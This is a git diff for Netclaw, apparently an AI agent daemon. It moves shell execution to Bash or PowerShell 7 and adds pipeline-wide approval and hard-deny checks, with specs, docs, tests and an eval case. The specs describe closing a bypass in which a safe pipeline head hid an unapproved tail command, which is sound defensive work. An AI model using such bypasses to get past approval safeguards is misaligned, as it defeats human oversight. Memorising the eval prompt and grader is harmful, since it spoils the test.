diff --git a/Directory.Packages.props b/Directory.Packages.props
index 930216254..313da101f 100644
--- a/Directory.Packages.props
+++ b/Directory.Packages.props
@@ -71,7 +71,7 @@
-
+
diff --git a/TOOLING.md b/TOOLING.md
index 8ae5c5582..a3a350c76 100644
--- a/TOOLING.md
+++ b/TOOLING.md
@@ -8,6 +8,31 @@
- solution scaffold: `Netclaw.slnx` with `src/Akka.Agents` and
`src/Netclaw.App`
+## Shell Execution Environment
+
+Netclaw uses one canonical non-interactive shell per host. Linux and macOS use
+`/bin/bash` with Bash grammar and POSIX paths. Windows uses PowerShell 7 via
+`pwsh` with PowerShell grammar and Windows paths. `cmd.exe`, Windows PowerShell
+(`powershell.exe`), and alternate POSIX shells are not compatibility fallbacks.
+
+Windows operators must install PowerShell 7 and ensure `pwsh` is on the daemon
+process `PATH`. Verify it from the same service account and environment that
+runs Netclaw:
+
+```powershell
+pwsh --version
+```
+
+If the canonical executable is unavailable, `shell_execute` returns an
+actionable error instead of changing grammar. Personal shell-capable turns also
+receive the same platform, executable, preferred grammar, and path style in the
+`execution_environment` subsection of `[working-context]`; agent-authored shell
+commands must follow those declared values.
+
+The PR validation workflow runs the full build and test suite on Linux, macOS,
+and Windows. Native Windows coverage verifies PowerShell selection, execution,
+parser behavior, and directory-scoped approval round trips.
+
## Planning and Spec Tooling
- `OpenSpec` CLI: installed and initialized in this repo
diff --git a/docs/spec/SPEC-011-daemon-architecture.md b/docs/spec/SPEC-011-daemon-architecture.md
index 4218d7773..d97809efa 100644
--- a/docs/spec/SPEC-011-daemon-architecture.md
+++ b/docs/spec/SPEC-011-daemon-architecture.md
@@ -321,6 +321,13 @@ works for:
The TUI is a presentation layer — it renders tool call/result output but does
not execute tools.
+Shell execution uses the daemon's canonical platform environment: `/bin/bash`
+with Bash grammar on Linux/macOS and PowerShell 7 (`pwsh`) with PowerShell
+grammar on Windows. Parser selection, approval policy, process startup, and the
+model-visible execution context consume that same immutable environment.
+Windows deployments require `pwsh` on the daemon process `PATH`; absence is a
+visible execution error, with no `cmd.exe` or `powershell.exe` fallback.
+
## Configuration Restart Coordination
### Trigger
diff --git a/evals/README.md b/evals/README.md
index 8f5707419..ff7bd1e95 100644
--- a/evals/README.md
+++ b/evals/README.md
@@ -72,7 +72,7 @@ log patterns** (skill loading, memory recall, checkpoint formation).
| Skill Auto-Loading | 4 | Keyword matching triggers correct skills |
| Memory Pipeline | 4 | Memory recall is active, identity-vs-memory routing is correct, explicit saves use memory tools, and automatic checkpointing still fires |
| Tool Discovery & Use | 9 | Progressive tool discovery and invocation, including timestamped webhook configuration |
-| Grounding & Alignment | 4 | Uses tools to verify facts, admits uncertainty, and resolves announced attachment paths from the authoritative session root |
+| Grounding & Alignment | 5 | Uses tools to verify facts, follows the declared shell grammar, admits uncertainty, and resolves announced attachment paths from the authoritative session root |
| Autonomy & Execution | 2 | Executes tasks rather than describing them |
| Deployment Mission | 1 | Applies the disk mission playbook, loads its required skill, and returns reviewed sales email |
| Subagents | 2 | Delegates through `spawn_agent`, completes ambiguous work, and gives specialized subagent guidance precedence over a conflicting deployment playbook |
diff --git a/evals/run-evals.sh b/evals/run-evals.sh
index b445e0e71..6ba6fa28f 100755
--- a/evals/run-evals.sh
+++ b/evals/run-evals.sh
@@ -1209,6 +1209,15 @@ assert_grounding_admit_unknown() {
stdout_not_contains 'is active'
}
+assert_grounding_shell_grammar() {
+ # The eval container is Linux, so its execution_environment declares Bash.
+ # The model must ground command syntax in that context rather than emitting
+ # the PowerShell spelling from the prompt's contrastive hint.
+ stdout_contains '\[tool:call\] shell_execute' \
+ && stdout_contains 'printf.*netclaw-grammar-eval' \
+ && stdout_not_contains 'Write-Output'
+}
+
assert_grounding_action_verification() {
stdout_contains '\[tool:call\] set_reminder'
}
@@ -1806,6 +1815,9 @@ run_all() {
run_case grounding_admit_unknown "no hallucinated status" \
"What's the status of the Petabridge Kubernetes cluster?"
+ run_case grounding_shell_grammar "uses declared Bash grammar instead of PowerShell" \
+ "Consult the execution_environment in your working context, then use shell_execute to print exactly netclaw-grammar-eval with that environment's native grammar. On Bash use printf; on PowerShell use Write-Output."
+
run_case grounding_action_verification "set_reminder called" \
"Schedule a reminder to check email in 10 minutes"
diff --git a/feeds/skills/.system/files/netclaw-operations/SKILL.md b/feeds/skills/.system/files/netclaw-operations/SKILL.md
index e4143a137..c3f79307d 100644
--- a/feeds/skills/.system/files/netclaw-operations/SKILL.md
+++ b/feeds/skills/.system/files/netclaw-operations/SKILL.md
@@ -3,7 +3,7 @@ name: netclaw-operations
description: "REQUIRED when the user asks about scheduling, reminders, cron jobs, timers, background jobs, diagnostics, troubleshooting, MCP tools, daemon health, identity updates, or Netclaw capabilities and self-maintenance."
metadata:
author: netclaw
- version: "2.35.0"
+ version: "2.37.0"
---
# Netclaw Operations
@@ -53,6 +53,26 @@ receive a read-only project/recent-file snapshot. Successful and partial runs
return only file edits confirmed through their own tools; failed or cancelled
runs contribute no parent working-context changes.
+## Shell Environment
+
+For shell-capable sessions, `[working-context]` includes an
+`execution_environment` block with the runtime platform, shell executable,
+preferred grammar, and path style. Treat it as authoritative: use Bash syntax
+only when `preferred_grammar` is `bash`, and PowerShell syntax only when it is
+`powershell`. Do not mix operators, quoting, variables, or paths from another
+grammar. Windows shell execution requires PowerShell 7 (`pwsh`) and does not
+fall back to `cmd.exe` or Windows PowerShell. Do not wrap commands in either
+unsupported shell explicitly; those grammars are rejected before execution.
+Invoke `pwsh` command strings directly rather than through `Start-Process`;
+indirect shell process launchers are unresolved and rejected.
+Commands whose verb, arguments, or redirects depend on runtime expansion
+cannot be saved as persistent approvals because their eventual executable or
+path is unresolved.
+
+Every executable pipeline clause is evaluated independently by hard-deny,
+safe-verb, trust-zone, and approval policy. An approved or read-only pipeline
+head never authorizes a different tail command.
+
## Scheduling & Background Jobs
Reminders: `set_reminder` with schedule type `once` / `interval` / `cron`. Always
@@ -194,9 +214,11 @@ implicit. Mutating verbs in the same directory still prompt.
**When the prompt offers fewer buttons.** Two cases:
-- **Complex commands** (bash control-flow like `for/while/done`, unbalanced
- quotes/brackets) get only `Once` and `Deny`. The matcher cannot extract a
- clean verb chain to remember, so persistence is structurally impossible.
+- **Complex or unresolved commands** (bash control-flow like
+ `for/while/done`, unbalanced quotes/brackets, dynamic verbs, dynamic path
+ operands, or dynamic redirects) get only `Once` and `Deny`. The matcher
+ cannot extract a complete static command and path set to remember, so
+ persistence is structurally impossible.
- **Shallow cwd** (e.g. `/etc/`, `/`) hides `Always here` only. Persisting a
too-shallow root would grant the verb across most of the filesystem;
`This chat` and `Always anywhere` remain available.
diff --git a/openspec/changes/canonical-bash-powershell-execution/.openspec.yaml b/openspec/changes/canonical-bash-powershell-execution/.openspec.yaml
new file mode 100644
index 000000000..0bd76e618
--- /dev/null
+++ b/openspec/changes/canonical-bash-powershell-execution/.openspec.yaml
@@ -0,0 +1,2 @@
+schema: spec-driven
+created: 2026-07-18
diff --git a/openspec/changes/canonical-bash-powershell-execution/design.md b/openspec/changes/canonical-bash-powershell-execution/design.md
new file mode 100644
index 000000000..53810548b
--- /dev/null
+++ b/openspec/changes/canonical-bash-powershell-execution/design.md
@@ -0,0 +1,76 @@
+## Context
+
+Netclaw currently executes `/bin/bash -c` on Unix and `cmd.exe /c` on Windows. Security policy uses ShellSyntaxTree 0.1.5 for Bash but retains separate handwritten Windows semantics. Pipeline parsing produces multiple clauses, yet approval extraction and some policy consumers only evaluate the head. Working-context snapshots already provide a cache-stable, audience-aware seam for Git-derived runtime facts.
+
+The change crosses execution, security, session context, prompt guidance, and native platform testing. Persisted approval entries must remain consumable with platform-correct comparison rules.
+
+## Goals / Non-Goals
+
+**Goals:**
+
+- Make execution, parsing, approval, and agent guidance agree on Bash or PowerShell.
+- Evaluate every executable pipeline clause before starting a process.
+- Reuse the existing working-context snapshot pipeline without changing persisted actor message shapes.
+- Preserve byte-prefix caching and fail loudly for missing or unsupported shells.
+- Deliver four independently safe review stages: dependency foundation, Bash hardening, PowerShell/context enablement, and Windows approval completion.
+
+**Non-Goals:**
+
+- Supporting `cmd.exe`, fish, zsh, dash, or ash as first-class grammars.
+- Inferring a user's interactive login shell.
+- Adding a configurable shell fallback or silently translating commands.
+- Changing tool schemas, audience grants, or approval decision persistence shapes.
+
+## Decisions
+
+### One immutable execution environment
+
+Introduce a required immutable value describing OS family, executable, grammar, and path style. A single resolver constructs it during daemon composition and the same value selects the `ShellTool` process, ShellSyntaxTree parser, security semantics, and model-visible working context.
+
+Alternative considered: let each subsystem call `OperatingSystem.IsWindows()`. Rejected because parallel detection recreates the current disagreement and makes tests platform-dependent.
+
+### ShellSyntaxTree is the structural authority
+
+Upgrade to 0.2.0-alpha and adapt Netclaw behind its own small parser/semantics interface. Parse once per policy evaluation and retain ordered executable clauses. Every hard-deny, safe-verb, approval, trust-zone, and display consumer examines the same clause representation. Dynamic or unsupported constructs produce a deny or approval requirement according to the existing caller's security posture; they never become automatically safe.
+
+Alternative considered: extend the handwritten Windows tokenizer. Rejected because it duplicates upstream PowerShell parsing and cannot reliably cover aliases, nested command strings, or encoded commands.
+
+### PowerShell 7 is the Windows shell
+
+Windows uses `pwsh` with non-interactive command execution. Absence of `pwsh` is an explicit execution error and startup/runtime diagnostics expose the prerequisite. No `powershell.exe` or `cmd.exe` fallback is permitted.
+
+### Execution context rides the volatile working-context tail
+
+Add an execution-environment inspector to the existing `WorkingContextSnapshotProvider` and render its immutable facts as an `execution_environment` subsection. The full volatile context remains inserted into history before the user message. Earlier bytes therefore remain unchanged while each new turn appends a fresh nudge. The provider remains the single composition seam used by sessions and child runs.
+
+Alternative considered: a second context provider or a `OnceAtStart` layer. Rejected because DI expects one working-context provider and current `OnceAtStart` content disappears after initial assembly.
+
+### Guidance belongs to the embedded operating core
+
+The full embedded `AGENTS.md` tells tool-capable agents to consult the execution environment and not mix grammars. Detailed examples live in the versioned `netclaw-operations` skill. The operator-authored deployment playbook remains untouched. The Public core changes only if discovery shows Public can receive shell execution.
+
+### No persistence migration unless canonical compatibility tests fail
+
+Existing approval records remain unchanged. Platform-aware parsing must emit candidates that the current comparer and approval store consume. Load/round-trip tests prove compatibility; any incompatible legacy record fails visibly rather than being silently reinterpreted.
+
+## Risks / Trade-offs
+
+- [ShellSyntaxTree prerelease API changes] → isolate it behind Netclaw-owned semantics and pin the exact package version.
+- [Policy consumers diverge] → build candidates once and add cross-consumer pipeline-tail tests.
+- [Windows hosts lack `pwsh`] → fail with an actionable message and validate on native Windows CI.
+- [Repeated environment text adds tokens] → keep the subsection short; accept the small cost to reuse proven cache-stable tail behavior.
+- [Prompt guidance changes model behavior] → add deterministic assembly tests and run behavioral evals.
+- [PowerShell aliases obscure canonical verbs] → use the parser's canonical verb and dynamic markers; never auto-allow unresolved verbs.
+
+## Migration Plan
+
+1. Upgrade and adapt the parser while preserving runtime shell selection.
+2. Harden Bash pipeline evaluation and ship the security fix.
+3. Introduce the canonical environment, switch Windows to `pwsh`, and inject guidance/context with native Windows proof.
+4. Complete Windows directory approvals and legacy round-trip validation.
+
+Rollback is per stage. The PowerShell stage may be reverted without reverting the preceding Bash hardening. No persisted schema migration is expected.
+
+## Open Questions
+
+None. Supported grammars, Windows executable, context placement, fallback policy, and delivery order are fixed by this design.
diff --git a/openspec/changes/canonical-bash-powershell-execution/proposal.md b/openspec/changes/canonical-bash-powershell-execution/proposal.md
new file mode 100644
index 000000000..ef0fb8f31
--- /dev/null
+++ b/openspec/changes/canonical-bash-powershell-execution/proposal.md
@@ -0,0 +1,35 @@
+## Why
+
+Shell approval and hard-deny policy currently reason about Bash pipelines incompletely, allowing a safe or approved pipeline head to hide a different tail command. Windows execution also uses `cmd.exe` while the parser and agent guidance assume Bash, so execution, security policy, and model-generated syntax can disagree.
+
+Source PRDs: PRD-001, PRD-002, PRD-006, and PRD-007. Tracking issues: #1693, #964, #965, and #899.
+
+## What Changes
+
+- Upgrade ShellSyntaxTree to its PowerShell-capable `0.2.0-alpha` API and introduce one canonical Bash/PowerShell parser selection.
+- Evaluate every shell pipeline clause consistently for hard denies, safe verbs, trust-zone checks, approval matching, and approval display.
+- **BREAKING**: execute Windows shell commands with PowerShell 7 (`pwsh`) instead of `cmd.exe`; fail loudly when the required shell is unavailable.
+- Surface the runtime platform, shell executable, preferred grammar, and path style through the existing cache-stable working-context snapshot pipeline.
+- Teach the embedded operating core and the `netclaw-operations` system skill to follow the declared execution environment rather than assuming Bash.
+- Complete Windows directory-scoped approval behavior using the same canonical command/path representation consumed at runtime.
+- Add native Windows/PowerShell and prompt-prefix regression coverage.
+
+In scope for MVP: Bash on Unix-like hosts, PowerShell 7 on Windows, pipeline-wide policy evaluation, runtime context, approval persistence compatibility, and automated validation. Out of scope: first-class `cmd.exe`, fish, zsh, dash, or ash grammars and silent compatibility fallbacks.
+
+## Capabilities
+
+### New Capabilities
+
+- `canonical-shell-execution`: Canonical platform-to-shell selection, grammar parsing, fail-closed behavior, and pipeline-wide security evaluation.
+
+### Modified Capabilities
+
+- `netclaw-tools`: Shell execution and approval policy use the canonical grammar and all command clauses.
+- `netclaw-session`: Working-context snapshots carry the execution environment without invalidating prior prompt-prefix bytes.
+- `netclaw-agent-memory`: The embedded operating core grounds shell generation in the runtime execution environment.
+
+## Impact
+
+Affected areas include `ShellTool`, shell security and approval matchers, daemon DI, working-context snapshot assembly, embedded system-prompt resources, the operations skill, ShellSyntaxTree package APIs, Windows approval persistence, and Linux/Windows CI.
+
+Security impact is positive but high-risk: the change closes pipeline-tail policy bypasses and removes grammar ambiguity. Unsupported/dynamic syntax and missing required shells fail closed. Operationally, Windows installations must have PowerShell 7 available; diagnostics and tests must make that prerequisite explicit.
diff --git a/openspec/changes/canonical-bash-powershell-execution/specs/canonical-shell-execution/spec.md b/openspec/changes/canonical-bash-powershell-execution/specs/canonical-shell-execution/spec.md
new file mode 100644
index 000000000..e0795b934
--- /dev/null
+++ b/openspec/changes/canonical-bash-powershell-execution/specs/canonical-shell-execution/spec.md
@@ -0,0 +1,71 @@
+## ADDED Requirements
+
+### Requirement: Canonical platform shell environment
+
+The runtime SHALL resolve one immutable execution environment used by shell process execution, syntax parsing, security policy, approval matching, and agent context. Unix-like hosts SHALL use Bash grammar and `/bin/bash`; Windows hosts SHALL use PowerShell grammar and PowerShell 7 (`pwsh`). The environment SHALL include the operating-system family, executable, preferred grammar, and path style.
+
+#### Scenario: Unix environment selects Bash
+
+- **GIVEN** Netclaw runs on a supported Unix-like host
+- **WHEN** the execution environment is resolved
+- **THEN** its executable is `/bin/bash`
+- **AND** its preferred grammar is Bash
+- **AND** its path style is POSIX
+
+#### Scenario: Windows environment selects PowerShell
+
+- **GIVEN** Netclaw runs on Windows
+- **WHEN** the execution environment is resolved
+- **THEN** its executable is `pwsh`
+- **AND** its preferred grammar is PowerShell
+- **AND** its path style is Windows
+
+#### Scenario: Required shell is unavailable
+
+- **GIVEN** the canonical shell executable cannot be started
+- **WHEN** a shell command is requested
+- **THEN** execution fails with an actionable unavailable-shell error
+- **AND** the runtime does not fall back to another shell or grammar
+
+### Requirement: Pipeline-wide structural policy
+
+Shell input SHALL be structurally parsed using the canonical grammar before execution. Every executable clause in every pipeline SHALL be evaluated by hard-deny, safe-verb, trust-zone, approval matching, and approval display policy. A safe or approved pipeline head SHALL NOT exempt a different tail clause.
+
+#### Scenario: Denied pipeline tail blocks execution
+
+- **GIVEN** a pipeline begins with a safe command
+- **AND** a later clause matches a hard-deny rule
+- **WHEN** shell policy evaluates the command
+- **THEN** the complete command is denied before process start
+
+#### Scenario: Unapproved pipeline tail requires approval
+
+- **GIVEN** a pipeline head has a persisted approval
+- **AND** a later executable clause does not
+- **WHEN** approval policy evaluates the command
+- **THEN** the later clause appears in the approval candidate set
+- **AND** the persisted head approval does not authorize it
+
+#### Scenario: Dynamic syntax does not become safe
+
+- **GIVEN** the canonical parser marks a command or verb as dynamic or unresolved
+- **WHEN** safe-verb or autonomous trust policy evaluates it
+- **THEN** it is not treated as an automatically safe command
+- **AND** execution follows the caller's existing deny-or-approval path
+
+### Requirement: First-class grammar boundary
+
+Netclaw SHALL support Bash and PowerShell as first-class shell grammars. Commands using unsupported grammar or mixing Bash and PowerShell syntax SHALL NOT be silently translated or executed through a compatibility shell.
+
+#### Scenario: PowerShell nested command parsing
+
+- **GIVEN** a PowerShell command contains a nested `pwsh -Command` or encoded command
+- **WHEN** policy parses the command
+- **THEN** nested executable clauses are included in structural policy evaluation
+
+#### Scenario: Unsupported shell grammar
+
+- **GIVEN** a command requires an unsupported first-class grammar
+- **WHEN** Netclaw attempts to classify or execute it
+- **THEN** the operation fails visibly
+- **AND** Netclaw does not substitute `cmd.exe`, Windows PowerShell, or another POSIX shell
diff --git a/openspec/changes/canonical-bash-powershell-execution/specs/netclaw-agent-memory/spec.md b/openspec/changes/canonical-bash-powershell-execution/specs/netclaw-agent-memory/spec.md
new file mode 100644
index 000000000..673a877ef
--- /dev/null
+++ b/openspec/changes/canonical-bash-powershell-execution/specs/netclaw-agent-memory/spec.md
@@ -0,0 +1,41 @@
+## MODIFIED Requirements
+
+### Requirement: Layered system prompt assembly
+
+The system SHALL assemble session context from ordered layers: `SOUL.md`, the audience-appropriate embedded operating core followed by the deployment `AGENTS.md`, `TOOLING.md`, dynamic context layers (tool index, skill index, memory index), and session-specific context. The embedded operating core SHALL be labeled as higher-priority platform guidance, while runtime ACL and tool policy SHALL remain the authoritative security boundaries. For shell-capable audiences, the embedded core SHALL instruct the agent to consult the execution environment in `[working-context]`, use its preferred grammar and path style, and never assume or mix shell grammars. The same deployment `AGENTS.md` SHALL apply to Personal, Team, and Public audiences. Identity files SHALL be read before each inbound turn so edits take effect on the next turn. Missing files SHALL be omitted without error; unexpected read failures SHALL be surfaced.
+
+#### Scenario: Full layer assembly on an inbound turn
+
+- **GIVEN** identity files exist at `~/.netclaw/identity/SOUL.md`, `~/.netclaw/identity/AGENTS.md`, and `~/.netclaw/identity/TOOLING.md`
+- **WHEN** an inbound turn begins
+- **THEN** the system prompt includes the audience-appropriate embedded operating core before the deployment `AGENTS.md`
+- **AND** includes the remaining permitted identity and dynamic context layers in canonical order
+
+#### Scenario: Shell guidance uses runtime context
+
+- **GIVEN** the embedded operating core is assembled for a shell-capable audience
+- **WHEN** the agent receives an execution environment in `[working-context]`
+- **THEN** the core instructs it to use the declared grammar and path style
+- **AND** does not hard-code Bash or PowerShell as universal syntax
+
+#### Scenario: Deployment playbook applies to Public audience
+
+- **GIVEN** a deployment `AGENTS.md` exists
+- **WHEN** a Public-audience turn begins
+- **THEN** the prompt contains the stripped embedded Public operating core
+- **AND** contains the same deployment playbook used for Personal and Team audiences
+- **AND** continues to suppress Public-ineligible tooling and project layers
+
+#### Scenario: Identity edit takes effect on next turn
+
+- **GIVEN** a session is active
+- **WHEN** the deployment `AGENTS.md` is updated during a turn
+- **THEN** the current model call is unchanged
+- **AND** the next inbound turn rebuilds its prompt with the updated playbook
+
+#### Scenario: Missing identity file does not prevent a turn
+
+- **GIVEN** one or more optional identity files do not exist on disk
+- **WHEN** an inbound turn begins
+- **THEN** the system assembles the prompt from available layers
+- **AND** the missing layer is omitted without error
diff --git a/openspec/changes/canonical-bash-powershell-execution/specs/netclaw-session/spec.md b/openspec/changes/canonical-bash-powershell-execution/specs/netclaw-session/spec.md
new file mode 100644
index 000000000..cc67ec51e
--- /dev/null
+++ b/openspec/changes/canonical-bash-powershell-execution/specs/netclaw-session/spec.md
@@ -0,0 +1,35 @@
+## ADDED Requirements
+
+### Requirement: Execution environment in working context
+
+For every shell-capable non-Public turn, the session SHALL include the canonical execution environment in the existing `[working-context]` volatile context block. The block SHALL report operating-system family, shell executable, preferred grammar, and path style from the same immutable environment used by execution and security parsing. Public turns SHALL not disclose the execution environment while Public lacks shell access.
+
+#### Scenario: Model receives canonical shell facts
+
+- **GIVEN** a Personal or Team turn can use shell execution
+- **WHEN** the working-context snapshot is rendered
+- **THEN** it contains the canonical platform, executable, grammar, and path style
+- **AND** those values match the shell and parser used for the tool call
+
+#### Scenario: Public context omits shell environment
+
+- **GIVEN** a Public turn has no shell grant
+- **WHEN** the working-context snapshot is rendered
+- **THEN** it does not disclose the host execution environment
+
+### Requirement: Execution context preserves prompt-prefix caching
+
+The execution-environment subsection SHALL use the existing persisted volatile-context nudge path. Adding a later turn or observing changed Git state SHALL append new history without rewriting prior system or working-context bytes. The environment SHALL remain available after compaction and in child-run grounding.
+
+#### Scenario: Two-turn prefix remains byte stable
+
+- **GIVEN** a session completes one model turn with an execution-environment subsection
+- **WHEN** a second turn observes different Git state
+- **THEN** the first turn's system and volatile-context bytes are unchanged
+- **AND** the second turn appends its context after the cached prefix
+
+#### Scenario: Environment survives compaction and child fork
+
+- **GIVEN** a session with a canonical execution environment compacts or spawns a child run
+- **WHEN** the next model call or child call is assembled
+- **THEN** the applicable working context still identifies the same execution environment
diff --git a/openspec/changes/canonical-bash-powershell-execution/specs/netclaw-tools/spec.md b/openspec/changes/canonical-bash-powershell-execution/specs/netclaw-tools/spec.md
new file mode 100644
index 000000000..65c03c510
--- /dev/null
+++ b/openspec/changes/canonical-bash-powershell-execution/specs/netclaw-tools/spec.md
@@ -0,0 +1,75 @@
+## MODIFIED Requirements
+
+### Requirement: Shell execution tool
+
+The system SHALL provide a shell execution tool that runs commands as the Netclaw process user context through the canonical platform shell: `/bin/bash` on Unix-like hosts and PowerShell 7 (`pwsh`) on Windows. Stdin SHALL be closed (no interactive commands). Execution SHALL enforce a configurable timeout (default: 60 seconds). The tool SHALL drain stdout and stderr in bounded memory (each to the capture ceiling `ToolConfig.MaxOutputChars`) and return the combined output bounded to the ceiling — it does NOT itself window, redact, or spill (the central `bounded-tool-output` mechanism does, after redaction). `shell_execute` SHALL declare a small verbose inline budget (`InlineOutputBudgetChars`) so its skimmable output is bounded aggressively. Before execution, the shell tool SHALL structurally parse the command with the canonical grammar and check every executable clause against `ShellCommandPolicy`; hard-denied commands SHALL be rejected before `ToolPathPolicy` path checks. A missing canonical shell SHALL fail visibly without fallback.
+
+#### Scenario: Execute command and return output
+
+- **GIVEN** the `shell` grant is available for the session
+- **WHEN** the agent invokes the shell tool with a command in the canonical grammar
+- **THEN** the command is executed as the Netclaw process user through the canonical shell
+- **AND** stdout and stderr are captured
+- **AND** the combined output is returned to the LLM
+
+#### Scenario: Hard-denied command rejected before execution
+
+- **GIVEN** the agent invokes `shell_execute` with a pipeline containing `netclaw daemon stop`
+- **WHEN** `ShellCommandPolicy` evaluates every executable clause
+- **THEN** the command is rejected with "Command blocked by hard deny policy"
+- **AND** the shell process is never started
+
+#### Scenario: Execution timeout enforced
+
+- **GIVEN** a shell command is running
+- **WHEN** the command exceeds the configured timeout (default: 60 seconds)
+- **THEN** the process is terminated
+- **AND** the tool returns a timeout error message to the LLM
+
+#### Scenario: Combined output bounded by the capture ceiling
+
+- **GIVEN** a shell command writes large output to both stdout and stderr
+- **WHEN** the output is captured
+- **THEN** the returned combined output is bounded by `MaxOutputChars` (one shared ceiling, not a per-stream cap)
+- **AND** the dispatcher applies the inline budget + spill + steer on top (per `bounded-tool-output`)
+
+#### Scenario: Stdin closed prevents interactive commands
+
+- **GIVEN** the agent invokes the shell tool with a command
+- **WHEN** the process is created
+- **THEN** stdin is closed immediately
+- **AND** commands that require interactive input fail promptly
+
+#### Scenario: Working directory set to project path
+
+- **GIVEN** the session is associated with a registered project
+- **WHEN** the shell tool executes a command
+- **THEN** the working directory is set to the project's registered path
+
+#### Scenario: Missing PowerShell fails without cmd fallback
+
+- **GIVEN** Netclaw runs on Windows and `pwsh` is unavailable
+- **WHEN** the agent invokes `shell_execute`
+- **THEN** the tool returns an actionable PowerShell 7 unavailable error
+- **AND** neither `cmd.exe` nor `powershell.exe` is started
+
+## ADDED Requirements
+
+### Requirement: Shell approvals cover every executable clause
+
+Approval candidate extraction and persisted approval matching SHALL use the canonical grammar and SHALL include every executable pipeline clause in order. Persisted approval candidates SHALL retain platform-correct path and case comparison behavior.
+
+#### Scenario: Approved head does not authorize tail
+
+- **GIVEN** a persisted approval matches the head of a pipeline
+- **AND** the pipeline tail has a different executable candidate
+- **WHEN** approval policy evaluates the command
+- **THEN** the tail remains unapproved
+- **AND** execution requires a new approval or is denied according to policy
+
+#### Scenario: Windows scoped approval round trip
+
+- **GIVEN** a directory-scoped PowerShell approval is persisted on Windows
+- **WHEN** it is loaded and compared with a later command in the approved directory
+- **THEN** the stored canonical representation matches using Windows path and case semantics
+- **AND** a command outside the approved directory does not match
diff --git a/openspec/changes/canonical-bash-powershell-execution/tasks.md b/openspec/changes/canonical-bash-powershell-execution/tasks.md
new file mode 100644
index 000000000..aaa85d7f1
--- /dev/null
+++ b/openspec/changes/canonical-bash-powershell-execution/tasks.md
@@ -0,0 +1,24 @@
+## 1. ShellSyntaxTree Foundation
+
+- [x] 1.1 Upgrade ShellSyntaxTree to 0.2.0-alpha and adapt the existing Bash semantics to the new API without changing runtime shell selection
+- [x] 1.2 Add focused compatibility tests for Bash parsing, wrapped command strings, canonical verbs, and dynamic syntax
+
+## 2. Pipeline Security Hardening
+
+- [x] 2.1 Make hard-deny, safe-verb, trust-zone, approval matching, and approval display evaluate every executable pipeline clause
+- [x] 2.2 Add regressions for safe or approved pipeline heads followed by denied, unsafe, dynamic, or unapproved tail clauses
+
+## 3. Canonical Runtime and Agent Context
+
+- [x] 3.1 Add the required immutable execution environment and use it for parser selection and shell process startup
+- [x] 3.2 Switch Windows execution to PowerShell 7 and fail visibly without `cmd.exe` or Windows PowerShell fallback
+- [x] 3.3 Compose execution-environment inspection into `WorkingContextSnapshotProvider` with audience-aware rendering and child-run propagation
+- [x] 3.4 Update the embedded operating core and versioned `netclaw-operations` skill with environment-grounded shell guidance
+- [x] 3.5 Add prompt-prefix, compaction, sub-agent, prompt assembly, and behavioral eval coverage for execution context
+
+## 4. Windows Approval and Validation
+
+- [x] 4.1 Prove Windows directory-scoped approval persistence and runtime comparison use the same canonical representation
+- [x] 4.2 Add native-platform PowerShell parser/execution tests and CI coverage for supported and missing-shell behavior
+- [x] 4.3 Update operational documentation with supported shells and the PowerShell 7 prerequisite
+- [ ] 4.4 Run focused suites, full tests, behavioral evals, Slopwatch, file-header verification, OpenSpec verification, and diff checks
diff --git a/src/Netclaw.Actors.Tests/Jobs/BackgroundJobExecutionActorTests.cs b/src/Netclaw.Actors.Tests/Jobs/BackgroundJobExecutionActorTests.cs
index 47ffe1ca9..c7903d73d 100644
--- a/src/Netclaw.Actors.Tests/Jobs/BackgroundJobExecutionActorTests.cs
+++ b/src/Netclaw.Actors.Tests/Jobs/BackgroundJobExecutionActorTests.cs
@@ -9,6 +9,7 @@
using Netclaw.Actors.Channels;
using Netclaw.Actors.Jobs;
using Netclaw.Configuration;
+using Netclaw.Security;
using Netclaw.Tests.Utilities;
using Xunit;
using static Netclaw.Actors.Jobs.BackgroundJobProtocol;
@@ -54,9 +55,19 @@ protected override async Task AfterAllAsync()
};
private IActorRef SpawnExecution(BackgroundJobDefinition definition, IActorRef probe)
+ => SpawnExecution(definition, probe, ShellExecutionEnvironment.Current);
+
+ private IActorRef SpawnExecution(
+ BackgroundJobDefinition definition,
+ IActorRef probe,
+ ShellExecutionEnvironment environment)
{
var outputPath = _store.GetOutputLogPath(definition.Id);
- var props = Props.Create(() => new BackgroundJobExecutionActor(definition, outputPath, TimeProvider.System));
+ var props = Props.Create(() => new BackgroundJobExecutionActor(
+ definition,
+ outputPath,
+ TimeProvider.System,
+ environment));
return Sys.ActorOf(ForwardingParent.Props(props, probe), $"exec-{definition.Id}");
}
@@ -77,6 +88,26 @@ public async Task SuccessfulCompletion_ReportsCompletedToParent()
Assert.Contains("hello-world", completed.OutputTail ?? "");
}
+ [Fact]
+ public async Task Missing_canonical_shell_reports_actionable_failure_without_fallback()
+ {
+ var definition = MakeDefinition("Write-Output nope");
+ var probe = CreateTestProbe("missing-shell-parent");
+ var environment = ShellExecutionEnvironment.PowerShell(Path.Combine(
+ _dir.Path,
+ "missing",
+ "pwsh-does-not-exist"));
+ SpawnExecution(definition, probe, environment);
+
+ var completed = await probe.ExpectMsgAsync(
+ TimeSpan.FromSeconds(10),
+ cancellationToken: TestContext.Current.CancellationToken);
+
+ Assert.Equal(BackgroundJobStatus.Failed, completed.Status);
+ Assert.Contains("Required PowerShell shell", completed.OutputTail);
+ Assert.DoesNotContain("cmd.exe", completed.OutputTail, StringComparison.OrdinalIgnoreCase);
+ }
+
[Fact]
public async Task ProcessTimeout_KillsAndReportsTimedOut()
{
diff --git a/src/Netclaw.Actors.Tests/Jobs/BackgroundJobIntegrationTests.cs b/src/Netclaw.Actors.Tests/Jobs/BackgroundJobIntegrationTests.cs
index 95d5f1914..a8766c286 100644
--- a/src/Netclaw.Actors.Tests/Jobs/BackgroundJobIntegrationTests.cs
+++ b/src/Netclaw.Actors.Tests/Jobs/BackgroundJobIntegrationTests.cs
@@ -11,6 +11,7 @@
using Netclaw.Actors.Jobs;
using Netclaw.Actors.Protocol;
using Netclaw.Configuration;
+using Netclaw.Security;
using Netclaw.Tests.Utilities;
using Netclaw.Tools;
using Xunit;
@@ -42,7 +43,7 @@ protected override void ConfigureAkka(AkkaConfigurationBuilder builder, IService
builder.StartActors((system, registry, _) =>
{
var manager = system.ActorOf(
- Props.Create(() => new BackgroundJobManagerActor(_store, TimeProvider.System)),
+ Props.Create(() => new BackgroundJobManagerActor(_store, TimeProvider.System, ShellExecutionEnvironment.Current)),
"background-job-manager");
registry.Register(manager);
});
diff --git a/src/Netclaw.Actors.Tests/Jobs/BackgroundJobManagerActorTests.cs b/src/Netclaw.Actors.Tests/Jobs/BackgroundJobManagerActorTests.cs
